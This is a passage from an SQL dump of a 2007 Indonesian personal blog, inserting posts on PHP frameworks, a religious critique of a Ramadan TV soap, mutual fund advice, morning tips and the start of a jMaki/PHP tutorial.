Kebutuhan menikah, rumah, mobil, buka bisnis, saham, dan lain-lain.\r\n\r\nKiat 5: Miliki Proteksi, seperti Asuransi Jiwa, Ansuransi Kesehatan, Tabungan Hari tua. Soalnya hidup kita kan milik Allah.Yang tau keadaan kita dimasa depan hanya Allah, kita cuman bisa berusaha keras, ikhtiar dan berdoa.\r\n\r\nSulit dilakukan? Sulit atau tidak, jelas ada PENGORBANAN. :)',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (34,'2007-08-22 11:25:54','Framework PHP yang ideal','\"<i>Bikin Framework, weleh konsep selalu berubah yuk kita tentukan kita mau pakek yang mana, semua pasti ada kelebihan dan kekurangan yang jelas konsep harus jelas biar cepet selesai.</i>\"\r\n\r\nFramework PHP yang ideal\r\n<a href = \"http://dody.ws/framework-php-yang-ideal.html\" target = \"_blank\">http://dody.ws/framework-php-yang-ideal.html</a>\r\n\r\nMengapa kita butuh framework?\r\n\r\nBagi anda yang belum familiar dengan framework, framework adalah sekumpulan fungsi, class, dan aturan-aturan. Berbeda dengan library yang sifatnya untuk tujuan tertentu saja, framework bersifat menyeluruh mengatur bagaimana kita membangun aplikasi.\r\n\r\nFramework memungkinkan kita membangun aplikasi dengan lebih cepat karena sebagai developer kita akan lebih memfokuskan pada pokok permasalahan sedangkan hal-hal penunjang lainnya seperti koneksi database, form validation, GUI, dan security; umumnya telah disediakan oleh framework. Disamping itu dengan aturan-aturan yang jelas dan harus dipatuhi, aplikasi kita lebih solid, more readable, dan kolabarasi dalam tim dapat lebih mudah dilaksanakan.\r\n\r\nKita sebagai seorang software developer bisa dianalogikan sebagai seorang tukang bangunan. Apabila anda perhatikan, seorang tukang bangunan bisa membuat sebuah rumah. Tidak akan menjadi masalah bila hanya untuk membangun rumah dengan satu atau dua lantai. Tetapi akan menjadi masalah apabila dia mendapatkan pekerjaan untuk membangun sebuah gedung bertingkat. Permasalahan akan menjadi semakin komplek, makin banyak pekerja dan material yang dilibatkan, belum lagi dengan jadwal yang ketat. Kita pun seperti itu. Membangun aplikasi kecil tentu tidak menjadi masalah. Namun bagaimana bagaimana apabila aplikasi kecil kita tersebut dengan makin lama makin bertambah requirementnya sejalan dengan kebutuhan user. Di sini lah peran penting sebuah framework dalam membangun aplikasi.\r\n\r\nFramework yang ideal menurut saya\r\n\r\nSejak fenomena Ruby on Rails, sebuah framework untuk bahasa Ruby, yang mana mampu memberi kemudahan yang luar biasa bagi developer dalam membangun aplikasi web; tumbuh menjamur framework-framework sejenis yang mengadopsi kemampuan Ruby on Rails untuk bahasa lainnya. Untuk PHP sendiri, terdapat PHP on Track, Symfony, PHPCake, CodeIgniter, dan masih banyak lainnya.\r\n\r\nSaya telah mencoba Symfony, PHPCake, dan CodeIgniter. Symfony memiliki fasilitas paling lengkap, terdapat command line interface untuk membangun Object Relational Model (ORM), yang menterjemahkan relational database menjadi kode program; dukungan AJAX; scaffolding, yaitu membuat mekanisme CRUD (create, retrieve, update, and delete). Namun sayangnya Symfony hanya berjalan di PHP5. Sebenarnya tidak menjadi masalah, karena saat ini telah banyak web hosting yang menyediakan PHP5. Apa yang saya rasakan adalah, bahwa Symfony adalah framework yang sangat solid. Saya sangat menyukai fasilitas ORMnya, scaffolding yang kompleks, dan tutorial dan dokumentasi yang sangat bagus dan komplit. Bagaimana tidak bagus, selain disediakan User Guide yang berisi referensi API, juga disediakan sebuah buku berisi study case pembuatan aplikasi ASKEET mulai dari desain awal sampai selesai pengkodean. Di samping itu terdapat juga tutorial yang berupa file movie, namun karena berukuran yang cukup besar, saya enggan mendownloadnya, saya merasa sudah cukup dengan manual berbentuk pdf. Secara kontras, saya juga merasakan bahwa Symfony adalah seperti senjata kelas berat. Untuk mengoperasikannya butuh learning curve yang cukup lama. Saya juga merasakan kekuatan yang out of control, dimana ketika terjadi saya menginginkan sebuah perubahan yang agak berbeda dari tutorial yang diberikan, saya seperti tidak tahu harus kemana dan bagaimana. Saya mencoba bertahan selama 3 hari dengan berusaha membuat aplikasi sederhana, namun pada akhirnya saya putuskan untuk berhenti.\r\n\r\nBerikutnya adalah CakePHP, framework ini juga memiliki ORM dan scaffolding seperti halnya Symfony. Terdapat juga command line interface, yang disebut sebagai baker, namun sifatnya tidak mutlak digunakan. Secara keseluruhan CakePHP memiliki kemampuan tidak jauh dari Symfony, namun sekilas lebih sederhana dan ukurannya lebih kecil, dan yang tidak kalah menarik adalah kompatibilitasnya dengan PHP4. Namun sayang, dokumentasi kurang lengkap, sehingga saya kesulitan mencari informasi lebih dalam. Untung lah CakePHP membuka channel IRC sehingga kita bisa berkonsultasi langsung dengan para pakarnya. Saya sudah mencoba menanyakan permasalahan di channel IRC yang disediakan. Saya mendapatkan respon yang memuaskan dari pakarnya (developer CakePHP) sehingga permasalahn saya saat itu dapat diatasi. Namun di kesempatan lain, saya tidak mendapat respon sama sekali, saya mencari orang yang telah membantu saya sebelumnya, tetapi sepertinya dia tidak online. Saya merasa CakePHP tidak bisa memberikan apa yang saya inginkan, meski pun saya telah mencoba tutorial dan membaca panduan lainnya, saya tetap tidak besa melakukan apa-apa yang saya inginkan, atau bisa dibilang saya kebingungan, seperti halnya pada saat mencoba Symfony.\r\n\r\nCodeIgniter, framework ini sebelumnya tidak masuk daftar yang akan saya coba. Hal ini dikarenakan oleh fiturnya yang jauh lebih sedikit dibandingkan Symfony dan CakePHP. Tidak ada ORM, scaffolding sangat sederhana, tidak ada AJAX, tidak ada user authentication. Lalu apa yang saya bisa harapkan darinya? Bermula dari membaca berbagai review php framework di blog lain, mereka mengatakan bahwa CodeIgniter memiliki kinerja yang lebih bagus daripada Symfony maupun CakePHP, dikarenakan oleh library yang di-load oleh framework lebih sedikit. Setelah saya mencobanya, memang framework ini terasa beda. Terasa lebih ringan dan lebih bebas. Meskipun CodeIgniter juga menggunakan design pattern MVC, namun tidak lah mutlak untuk menggunakan M (model). Jadi saya bisa dengan bebas menggunakan style yang saya sukai. Sajian dokumentasinya cukup lengkap, meskipun tidak selengkap Symfony, namun sangat memadai. Saya bisa melakukan ini itu setelah saya membaca panduan di online manual. Sangat menyenangkan, dimana Symfony dan CakePHP tidak bisa memberikannya untuk saya. Meskipun memiliki kemampuan yang dibawah framework lainnya, namun CodeIgniter sangat mudah untuk dipelajari. Mungkin ini lah yang dimaksud dengan framework lightweight. Mudah dan sangat ringan, namun tidak memiliki fasilitas sebanyak framework lainnya. Ketika saya amati forum dan halaman wiki, komunitas CodeIgniter memberikan solusi untuk permasalahan seperti User Authentication dan Ajax. Sepertinya memang pembuat CodeIgniter sengaja memberikan kebebasan kepada usernya untuk mengembangkan sendiri sesuai dengan kebutuhan masing-masing yang berbeda, sedangkan CodeIgniter bertanggungjawab terhadap tugas-tugas lain yang lebih utama.\r\n\r\nBagi saya CodeIgniter menarik, mudah dipelajari, dan sangat solid untuk membangun aplikasi yang besar. Peraturan-peraturan dan library yang disediakannya tidak membatasi saya untuk tetap menggunkan style pemrograman yang saya sukai. Ini adalah point penting. Siapa mengatur siapa, programer mengatur program atau program mengatur programer?\r\n',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (35,'2007-08-25 15:32:02','Soleha Cuma. di Layar Kaca?','STUDIA Edisi 356/Tahun ke-8 (27 Agustus 2007)\r\nhttp://studia-online.com; http://dudung.net; http://gaulislam.com\r\n\r\nSoleha Cuma. di Layar Kaca?\r\nMenjelang bulan suci Ramadhan, tiap stasiun televisi sibuk mempersiapkan tayangan-tayangan religius. Demi menggaet pemirsa setianya, RCTI udah mencuri start dengan me-launching sebuah sinetron spesial Ramadhan betajuk “Soleha” pada Kamis, 19 Juli 2007 lalu. Bintang-bintang muda yang akrab di kalangan remaja turut meramaikan ‘Soleha”. Ada Andriani Marshanda yang biasa dipanggil Chaha, Baim Wong yang tengah menjalin asmara dengan chaha di dunia nyata, atau Rionaldo Stockhorst. Kayaknya udah pada apal deh ya.\r\n\r\nMega sinetron produksi Sinem-Art ini bercerita tentang kisah hidup Arini Soleha (Marshanda), seorang gadis tegar, tomboi, keras, tapi jujur dan taat beribadah. Suatu saat, pamannya membawa Soleha lari ke Jakarta karena tidak mampu lagi melunasi utang-utangnya. Namun, ternyata, nggak gampang nyari pekerjaan halal di Jakarta. Soleha yang sebelumnya bekerja sebagai guru mengaji, akhirnya terpaksa banting setir menjadi kondektur metromini yang disupiri oleh Rendra (Rionaldo).Mereka pun menjadi pasangan sopir dan kondektur yang solid.\r\n\r\nMeski awalnya Rendra menolak Soleha, tapi melihat sifat Soleha yang keras dan berani, Rendra pun menerima Soleha sebagai kondekturnya. Kedekatan itulah yang lambat laun membuat Rendra akhirnya jatuh hati kepada Soleha. Konflik mulai muncul ketika hadir seorang artis yang tinggi hati, Ervan (Baim Wong) yang ternyata merupakan teman kecil Soleha. ’Soleha’ telah menyapa pemirsa sejak 23 Juli 2007. Bisa jadi, kamu salah satu penonton setianya. Hayo, ngaku aja deh!\r\nFatamorgana di layar kaca\r\n\r\nSinetron religi menjadi tayangan wajib di bulan suci. Channel tv mana aja yang kita tonton, pasti di sana ada sinetron religi. Baik yang berupa cerita lepas atau berseri. Sisi positifnya, sinetron religi yang kaya akan pesan moral bisa menjadi setetes air penghilang dahaga di tengah kegersangan sinetron yang hanya mengekspolitasi cinta atau gaya hidup mewah. Apalagi untuk pasar remaja, tentu karakter bintang sinetron yang ‘agamis’ sedikit banyak mempengaruhi pola sikapnya menjadi lebih sholeh/sholehah. Inilah yang diharapkan oleh para sineas produsen sinetron religi remaja.\r\n\r\nNamun di sisi lain, tak ada yang berbeda dari sinetron Ramadhan dari tahun ke tahun. Dari sisi tema cerita, nggak jauh dari kisah tokoh utama yang terzhalimi. Dari keseharian tokoh utama, masih dihiasi busana muslim/muslimah, banyak kata-kata bijak merajalela, ucapan salam yang kian sering terdengar, dan nggak ketinggalan adegan shalat, atau adegan berdoa. Nggak lupa, theme song yang islami biar nuansa religinya lebih kerasa. Lantas apa yang menarik dari sinetron religi remaja, seperti ‘Sholeha’?\r\n\r\n“Pemirsa, jangan lupa untuk menyaksikan mega sinetron Soleha di RCTI, karena Anda dapat mengikuti kuis berhadiah jutaan Rupiah…”. Ternyata, inilah salah satu daya tarik yang ditawarkan kepada pemirsa untuk nonton sebuah sinetron religi. Ironi ya, bukan cerita yang bagus, cerminan figur yang patut dicontoh, atau kualitas tayangan layak tonton yang dijanjikan kepada pemirsa. Tapi bejibun hadiah yang sudah menunggu. Ampun deh!\r\n\r\nInilah salah satu bentuk kapitalisasi media. Seideal apapun cerita maupun karakter tokoh yang kita sodorkan, belum tentu dipandang mulia di hadapan para pemilik media. Seperti dituturkan Zara Zetira (penulis skenario sinetron religi ‘Hikmah’) dalam sebuah blog “Sebagai penulis saya pun merasakan preassure dari pihak lain yang bersangkutan (produser dan stasiun tv serta hasil survey/rating) Kedengarannya klise , tapi ini bukan excuse. Kenyataannya dunia seni (sinteron) termasuk dalam kategori komoditi dagang (bisnis) yang sulit menjadi independen (murni)”. (Halaman Berumput, 27/09/06)\r\n\r\nNggak heran kalo seorang peneliti media, Mc Quail, mengatakan bahwa pada dasarnya tayangan televisi itu bersifat nonmoral, maka masuk akal ketika mereka (pengusaha televisi) tak akan pernah mau memegang tanggung jawab moral dan sosial berkaitan dengan acara yang diperdagangkan. Justru yang terkena getahnya adalah para tokoh agama, institusi pendidikan, dan masyarakat secara luas. Orientasi puncaknya, yaitu politik media atau televisi yang mengincar keuntungan semata (kapitalisme), tanpa peduli apakah akan menyentuh nilai-nilai keagamaan, moralitas, dan kemanusiaan. Yang ada adalah semacam sofistikasi (keberpura-puraan) yang hanya menonjolkan aspek formalisme-simbolisme, tetapi sejatinya hampa makna (blank of meaning). (Kompas, 28/09/06).\r\n\r\nYang lebih parah, simbolisasi agama dalam setiap sinetron religi, seperti dalam “Soleha”, kian mengerdilkan ajaran Islam di tengah kita. Karakter wanita sholeha yang dimuliakan Islam, hanya digambarkan wanita yang berbusana muslimah (sekadar ikut tren tapi belum sempurna menutup aurat cara berpakaiannya), rajin shalat, sering berdoa, jujur, tegar, atau pantang menyerah. Nggak apa-apa berperilaku tomboy, bebas bergaul dengan lawan jenis, atau mengkespresikan cinta yang jauh dari nilai-nilai Islam. Piye iki? \r\n\r\nIni menunjukkan, judul yang kelihatannya islami bukan berarti sinetron tersebut pasti benar. Inti cerita lebih banyak menampilkan sudut pandang Islam, tapi bukan berarti disampaikannya selalu benar. Siapa tahu malah akhirnya melecehkan Islam. Ini sebuah fatamorgana, Bro!\r\nMengenal wanita shalihah\r\n\r\nShalihah adalah kata sifat yang berarti baik. Dalam bahasa Arab imbuhan ta’ marbutah (É) di akhir sebuah kata sifat menunjukkan bahwa sesuatu yang disifati tersebut adalah muannats (perempuan).\r\n\r\nWanita shalihah adalah wanita yang taat kepada Allah dan RasulNya. Kemuliaan dan keutamaannya digambarkan Rasulullah saw. dalam sabdanya:\r\n\r\n &#1575;&#1604;&#1583;&#1606;&#1610;&#1575; &#1605;&#1578;&#1575;&#1593; &#1608;&#1582;&#1610;&#1585; &#1605;&#1578;&#1575;&#1593; &#1575;&#1604;&#1583;&#1606;&#1610;&#1575; &#1575;&#1604;&#1605;&#1585;&#1571;&#1577; &#1575;&#1604;&#1589;&#1575;&#1604;&#1581;&#1577; - &#1585;&#1608;&#1575;&#1607; &#1605;&#1587;&#1604;&#1605; \r\n\r\n “Sesungguhnya dunia itu adalah perhiasan dan sebaik-baik perhiasan dunia adalah wanita shalihah” (HR Muslim)\r\n\r\nBegitu juga ketika Umar ra. bertanya kepada Rasulullah saw.: “Wahai Rasulullah, harta apakah yang sebaiknya kita miliki?” Beliau menjawab:\r\n\r\n &#1604;&#1610;&#1578;&#1582;&#1584; &#1571;&#1581;&#1583;&#1603;&#1605; &#1602;&#1604;&#1576;&#1575; &#1588;&#1575;&#1603;&#1585;&#1575; &#1608;&#1604;&#1587;&#1575;&#1606;&#1575; &#1584;&#1575;&#1603;&#1585;&#1575; &#1608;&#1586;&#1608;&#1580;&#1577; &#1605;&#1572;&#1605;&#1606;&#1577; &#1578;&#1593;&#1610;&#1606; &#1571;&#1581;&#1583;&#1603;&#1605; &#1593;&#1604;&#1609; &#1571;&#1605;&#1585; &#1575;&#1604;&#1570;&#1582;&#1585;&#1577;. &#1585;&#1608;&#1575;&#1607; &#1575;&#1576;&#1606; &#1605;&#1575;&#1580;&#1607;\r\n\r\n “Hendaklah salah seorang dari kalian memiliki hati yang bersyukur, lisan yang senantiasa berdzikir dan istri mukminah (shalihah) yang akan menolongmu dalam perkara akhirat” (HR Ibnu Majah)\r\n\r\nWanita shalihah, di dunia akan menjadi cahaya bagi keluarganya dan berperan melahirkan generasi dambaan. Jika ia wafat, Allah akan menjadikannya bidadari di surga. Dalam al-Quran surat an-Nur: 30-31, Allah Swt. memberikan gambaran wanita shalihah sebagai wanita yang senantiasa mampu menjaga pandangannya alias nggak jelalatan. Make up-nya labih diutamakan basuhan air wudhu daripada bedak kosmetik. Lipstiknya bukan lip gloss, melainkan dzikir kepada Allah.\r\n\r\nWanita shalihah sangat memperhatikan kualitas kata-katanya. Nggak asal mangap. Apalagi sampe centil, suka jingkrak-jingkrak, dan menjerit-jerit bin histeris saat mendapatkan kesenangan. Nggak ada dalam sejarahnya tuh. Justru ia akan sangat menjaga setiap tutur katanya agar bernilai dan bermanfaat. Sehingga aktivitas amar ma’ruf nahi munkar pun telah menjadi kesehariannya. Ikut berdakwah, Sis!\r\n\r\nWanita shalihah juga pintar dalam bergaul. Senantiasa menjaga batas pergaulan dengan lawan jenis yang bukan mahram. Ia juga selalu menjaga akhlaknya dengan memelihara rasa malu. Mengingat setiap tindak-tanduk kita nggak akan pernah lolos dari pengawasan Allah Swt. maupun malaikat Raqib dan Atid. Dengan adanya rasa malu, segala tutur kata dan tindak tanduknya selalu terkontrol. Ia sadar bahwa semakin kurang iman seseorang, makin kurang rasa malunya. Semakin kurang rasa malunya, makin buruk kualitas akhlaknya.\r\n\r\nSaat mendapati keterbatasan fisik pada dirinya, wanita shalihah tidak akan pernah merasa kecewa dan sakit hati. Ia yakin bahwa kekecewaan adalah bagian dari sikap kufur nikmat. Dia tidak akan merasa minder dengan keterbatasannya. Pribadinya begitu indah sehingga make up apa pun yang dipakainya akan memancarkan cahaya kemuliaan. Bahkan, kalaupun ia “polos” tanpa make up sedikit pun, kecantikan jiwanya akan tetap terpancar dan menyejukkan hati orang-orang di sekitarnya. Tak heran jika setiap muslimah mendambakan predikat wanita shalihah melekat pada dirinya. Kamu mau?\r\nMenjadi hamba yang shalih/shalihah\r\n\r\nSobat, siapa yang tak tergoda untuk menjadi hamba yang shalih/shalihah. Predikat yang dijanjikan kemuliaan dunia akhirat oleh Allah Swt. Siapa saja boleh ikut ambil bagian untuk meraih predikat itu, lho. Nggak usah minder meski kita baru ngaji atau belon pernah naik haji. Manusia memang tak ada yang sempurna, tapi kita bisa berupaya mendekati sempurna. Yang penting kita niat yang ikhlas semata-mata mengharapkan ridho Allah. Sebisa dan sekuat mungkin taat kepada ajaran Islam. Kalo melanggar ya harus bertobat dan jangan pernah melakukannya lagi. Untuk mengokohkan niat mulia itu, beberapa hal bisa kita perbuat. Diantaranya:\r\n\r\nPertama, mengkaji Islam. Ini penting, selain wajib. Dengan ikut ngaji, kita bisa mengenal Islam lebih dalam. Tak hanya ibadah ritual atau moral saja. Sehingga keshalihan kita nggak hanya nampak di masjid atau mushola saja. Tapi juga saat bersekolah, di tempat kerja, bergaul, termasuk saat kita menghadapi permasalahan. \r\n\r\nKedua, merawat keimanan kita. Rasul bilang, keimanan seseorang itu bisa naik dan turun. Untuk menjaga kesolehan kita, tentu mesti diupayakan agar keimanan kita tetep stabil di atas. Caranya, dengan sering beribadah ‘extra’ selain yang wajib. Seperti shalat sunat, puasa sunat, berinfak, shadaqah, atau berdoa. Selain itu, menjalin persahabatan dengan orang shaolih/shalihah bisa membantu kita. Lantaran mereka akan mengingatkan jika kita khilaf, mengajak tetep taat, dan menjauhkan kita dari perbuatan maksiat. Asyik kan?\r\n\r\nKetiga, meneladani shahabat/shabiyah Rasulullah saw. Ketika kita memerlukan sosok yang bisa mendorong kita untuk tetep istiqamah, tentu selebriti yang pura-pura shalih/shalihah dan ‘agamis’ cuma lantaran tuntutan skenario nggak masuk hitungan kita. Yang paling pantas, selain Rasulullah saw, tentu adalah para shahabat/shahabiyah-nya. Contoh Khadijah ra, figur istri shalihah penentram batin, pendukung setia, dan penguat semangat suami dalam berjuang di jalan Allah Swt. Beliau berkorban harta, kedudukan, dan dirinya demi membela perjuangan Rasulullah. Begitu kuatnya kesan keshalihahan Khadijah, hingga nama beliau banyak disebut-sebut oleh Rasulullah walau Khadijah sendiri sudah meninggal. Subhanallah, kan!\r\n\r\nNah sobat, mumpung masih ada kesempatan, mari kita sama-sama meningkatkan ketaatan kita kepada Allah Swt. dan RasulNya. Dengan ikut ngaji, rajin beribadah, berdakwah, dan istiqamah menjalankan aturan hidup Islam dalam keseharian kita. Sehingga Allah Swt memasukkan kita ke dalam golongan hambaNya yang shalih dan shalihah dalam arti kata yang sesungguhnya. Bukan pula hanya berpura-pura shalih or shalihah ketika disorot kamera film saja atau saat dilihat orang. Yuk kita benahi diri kita! [ hafidz341@gmail.com ]',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (36,'2007-08-27 16:47:06','Cara Memilih REKSA DANA','CARA MEMILIH REKSA DANA\r\n<i>\"Lagi pengen belajar Reksadana hehe, wah lumayan ada yang shariyah juga ini ada tips pilih reksadana, mudah-mudahan membantu. Yuk pikirkan keuangan hari tua...!\"</i> ^_^\r\n\r\nDikutip dari Tabloid NOVA No. 668/XIII\r\n<a href=\"http://www.perencanakeuangan.com\" target=\"_blank\">http://www.perencanakeuangan.com</a>\r\n\r\nYang terhormat Pak Safir,\r\n\r\nYang terhormat Bapak Safir Senduk, saya sangat senang dengan rubrik Ulas Uang yang sangat berguna buat saya untuk mempersiapkan biaya sekolah putra-putri saya kelak. Sebagai orang awam dalam soal Reksa Dana, saya ingin mengajukan dua pertanyaan.\r\n\r\n 1. Bagaimana cara memilih perusahaan Reksa Dana yang baik?\r\n\r\n 2. Apakah menyimpan dana di perusahaan Reksa Dana cukup aman? Bagaimana kalau perusahaan tersebut bangkrut? \r\n\r\nDemikian pertanyaan saya. Terima kasih.\r\n\r\nL di Bekasi\r\n\r\n\r\n\r\nJawab:\r\n\r\nIbu L di Bekasi,\r\n\r\nPertanyaan Anda mungkin sebagian sudah terjawab melalui artikel saya sebelumnya. Namun saya akan menambahkan tentang cara yang bisa Anda gunakan untuk memilih sebuah perusahaan reksa dana, atau bahkan jenis reksa dana yang sebaiknya Anda pilih. Pertama-tama, saya akan memberitahukan tentang Reksa Dana (RD) yang sebaiknya Anda gunakan.\r\n\r\nSeperti yang pernah saya jelaskan, RD terbagi empat macam:\r\n\r\n1. RD Saham\r\n2. RD Pendapatan Tetap\r\n3. RD Campuran\r\n4. RD Pasar Uang\r\n\r\nBerdasarkan tingkat risikonya, maka dibawah ini adalah urut-urutan reksa dana tersebut dari yang paling berisiko sampai yang risikonya paling rendah. Namun demikian perlu diketahui bahwa semakin besar risikonya, biasanya potensi keuntungan yang akan Anda dapatkan juga akan semakin besar. Yakni:\r\n\r\n1. RD Saham\r\n2. RD Campuran\r\n3. RD Pendapatan Tetap\r\n4. RD Pasar Uang\r\n\r\nSaran saya kepada Anda sebelum memilih di antara keempat reksa dana tersebut, sebaiknya tetapkan dulu tujuan Anda. Tetapkanlah untuk apa investasi itu Anda lakukan. Sebagai contoh, Anda ingin menabung (melakukan investasi) ke dalam RD untuk persiapan masa pensiun Anda yang masih 20 tahun lagi. Dari situ dapat diketahui bahwa Anda akan menabung selama 20 tahun.\r\n\r\nNah, karena jangka waktu investasi Anda cukup panjang, maka tidak apa-apa Anda melakukan investasi ke dalam Reksa Dana yang berisiko sekalipun. Ini karena Anda toh tidak akan memakai uang Anda selama jangka waktu 20 tahun itu kan? Jadi kalaupun nilai Reksa Dana Anda turun pada tahun ke-7 misalnya, Anda toh tetap baru akan memakai uangnya pada tahun ke-20. Dan saham, walaupun nilainya turun naik, secara jangka panjang umumnya menunjukkan trend yang menaik.\r\n\r\nSebaliknya, bila Anda berinvestasi untuk jangka pendek, katakan hanya selama 2 tahun saja, maka akan terlalu berisiko kalau Anda melakukan investasi ke dalam RD Saham. Anda mungkin bisa memilih RD yang risikonya lebih rendah, tetapi lebih pasti dalam memberikan keuntungan, walaupun potensi keuntungan itu biasanya tidak sebesar potensi keuntungan seperti dalam RD Saham.\r\n\r\nJadi, lihat dulu jangka waktu investasi Anda sebelum Anda memilih RD. Karena itu, saya berikan panduan mengenai RD mana yang sebaiknya Anda beli sesuai dengan jangka waktu investasi Anda.\r\n\r\n\r\nJangka Waktu Investasi Jenis Reksa Dana:\r\n\r\nDiatas 10 tahun -----------RD Saham\r\nDiatas 3 s/d 10 tahun----------- RD Campuran\r\nDiatas 1 s/d 3 tahun RD -----------Pendapatan Tetap\r\nSampai dengan 1 tahun -----------RD Pasar Uang\r\n\r\n\r\nBerapa potensi keuntungan yang bisa didapatkan masing-masing Reksa Dana? Perlu diingat sekali lagi bahwa Reksa Dana adalah sebuah cara berinvestasi. Kalau Anda berinvestasi pada RD Saham misalnya, sama saja dengan kalau Anda membeli saham secara langsung. Bedanya, pada RD Saham pemilihan saham Anda dilakukan oleh Manajer Investasi Anda. Jadi disini, Reksa Dana adalah sebuah cara berinvestasi di mana ada potensi untung dan rugi.\r\n\r\nNamun demikian, saya percaya bahwa masing-masing RD tersebut bisa memberikan potensi keuntungannya masing-masing. Untuk RD Saham, saya percaya bahwa dalam jangka panjang (diatas 10 tahun), secara rata-rata RD Saham bisa memberikan hasil sebesar 30% per tahun. Untuk RD Campuran adalah 25% per tahun. Untuk RD Pendapatan Tetap adalah 20% per tahun. Dan untuk RD Pasar Uang adalah 15% per tahun.\r\n\r\nSekali lagi angka tersebut BUKAN JAMINAN bahwa RD Anda pasti bisa memberikan hasil sebesar itu. Ini karenanya semuanya sangat bergantung pada pemilihan produk investasi yang dilakukan Manajer Investasi. Jadi, angka sebesar itu adalah kemungkinan keuntungan yang bisa Anda dapatkan. Reksa Dana sama seperti investasi lain yang juga memiliki kemungkinan rugi juga. Jadi ada kemungkinan Anda tidak akan mendapatkan hasil sebesar 30% per tahun (untuk RD Saham), misalnya.\r\n\r\nSekarang tentang memilih perusahaan RD. Ada banyak faktor teknis yang sangat membingungkan kalau kita bicarakan itu disini. Namun demikian, kalau Anda mau praktis, kenapa Anda tidak coba memiliki tiga produk RD dari tiga perusahaan RD yang berbeda. Tidak usah banyak- banyak. Mungkin sekitar Rp 100 ribu s/d 500 ribu saja dulu untuk masing-masing produk RD. Nanti setelah setahun atau dua tahun Anda bisa mengevaluasi kinerja dari ketiga RD tersebut.\r\n\r\nSekali lagi, menurut peraturan, harta dari Reksa Dana tidak boleh dijadikan satu dengan harta Manajer Investasi (perusahaan RD). Harta RD harus disimpan secara terpisah pada sebuah tempat khusus yang dinamakan lembaga/bank kustodian. Jadi kalau Manajer Investasi Anda bangkrut (karena kurang pemasukan dari komisi misalnya), harta RD Anda tidak akan terpengaruh.\r\n',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (39,'2007-08-28 12:36:29','Tips Memulai Hari dengan Cerah','Tips Memulai Hari dengan Cerah\r\n<i>[neb.hac@gmail.com, wikusama-jogja@yahoogroups.com] <b>Good Tips My Friends :)</b></i>\r\n\r\nHari yang cerah bukan ditandai dengan matahari yang bersinar terang atau udara yang sejuk, melainkan dari hati dan pikiran yang segar. Kecerahan suatu hari dimulai dari diri anda sendiri. Kita tahu bahwa sesuatu yang dimulai dengan baik merupakan separuh dari pencapaian tujuan.\r\n\r\nKarena itu, memulai aktivitas hari ini dengan kecerahan suasana adalah modal besar untuk menyelesaikan hari dengan baik pula. Bagaimana memulai hari dengan cerah sangat dipengaruhi oleh pola hidup kita.\r\n\r\nBerikut beberapa tips ringan agar kita bisa memulai hari dengan cerah:\r\n\r\n1. Mulailah dari malam hari.\r\nKita tak bisa berharap bangun dengan segar jika di malam harinya tak cukup tidur nyenyak. Hari esok yang cerah dimulai dari malam ini. Bila anda masih mempunyai masalah, yakinlah masih ada waktu esok ntuk menyelesaikannya lebih baik lagi. Malam ini, beristirahatlah sebaik-baiknya.\r\n\r\n2. Bangun pagi lebih pagi.\r\nBangunlah lebih pagi daripada terbitnya matahari. Jumpai keheningan dan kesunyian. Pagi buta adalah saat yang tepat untuk menemukan sisi damai dalam diri anda.\r\n\r\n3. Damaikan pikiran dan tentramkan jiwa\r\nJangan terburu melakukan aktivitas. Resapi saja suasana pagi yang damai ini. Berdoa,sampaikan syukur atas hidup yang masih diberikan pada kita dan bersaat teduh.\r\n\r\n4. Segarkan tubuh.\r\nMinum air. Hirup aroma teh atau kopi yang menyegarkan. Berjalan-jalanlah keluar. Pompa udara banyak-banyak ke dalam paru-paru. Lakukan olahraga ringan, Mandi dengan air segar. Bersihkan tubuh baik-baik. Tetaplah mengingat janji anda tadi pagi untuk melakukan sesuatu yang berguna bagi semesta hari ini.\r\n\r\n5. Dapatkan sarapan secukupnya.\r\nIsi perut anda secukupnya. Sarapan yang baik adalah modal untuk kebugaran tubuh anda sepanjang hari. Jangan asal kenyang, namun cukupkan kebutuhan energi dan gizi.\r\n\r\n6. Sapalah orang-orang yang anda jumpai.\r\nTerbarkan senyum. Tak peduli apakah matahari bersinar cerah atau mendung menggayut, sapalah orang-orang yang anda jumpai. Tanyakan kabar mereka, maka jangan terkejut jika mereka pun akan membalas senyum anda.\r\n\r\n7. Jangan mengeluh\r\nApa pun yang terjadi, entah itu hari hujan, jalanan macet, kereta datang terlambat, kendaraan mogok, atau apa pun yang terjadi, terimalah semua itu apa adanya.\r\n\r\n8. Berdoalah.\r\nDengan berdoa kita serahkan apa yang terjadi hari ini.. jadi kita siap menerima apapun yang terjadi hari ini.\r\n\r\nJadi jadikan hari ini yang cerah...untuk beraktifitas, sekolah, kuliah, bekerja, berbisnis atau apapaun kegiatan anda.\r\n\r\n<b>hAVE A NICE DAY ^_^</b>',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (40,'2007-08-30 15:13:13','Web 2.0 using jMaki, PHP and GlassFish','<i>\"Biar gak ilang referensi ini saya posting, hehe. Yang gak pengen baca jangan dibaca. Ntar nambah kerjaan karena pengen <b>Nyobak</b>\"</i>\r\n<p>jMaki is a light-weight framework for build Web 2.0 applications. It provides support for multiple languages - Java (1, 2, 3, 4, 5, 6) , PHP, Ruby (1, 2), Phobos (1). The numbers in parentheses indicate the entries that I\'ve created showing jMaki support for that language. As evident, I\'ve not created a single entry for PHP yet. This entry is going to change that :)</p><p>This entry shows how to deploy a jMaki-enabled PHP web application in GlassFish. It builds upon an earlier entry that showed how to deploy a simple PHP application in GlassFish.</p><p>&nbsp;&nbsp; 1. PHP-enable GlassFish and verify it\'s working correctly following these steps.<br />&nbsp;&nbsp; 2. Build, Install and Run a simple jMaki/PHP sample<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. Download and Unzip the contents of jMaki/PHP release (0.9.7.2 as of this writing). This creates &quot;jmaki-php-0.9.7.2\\jmaki-php&quot; in the current directory.<br 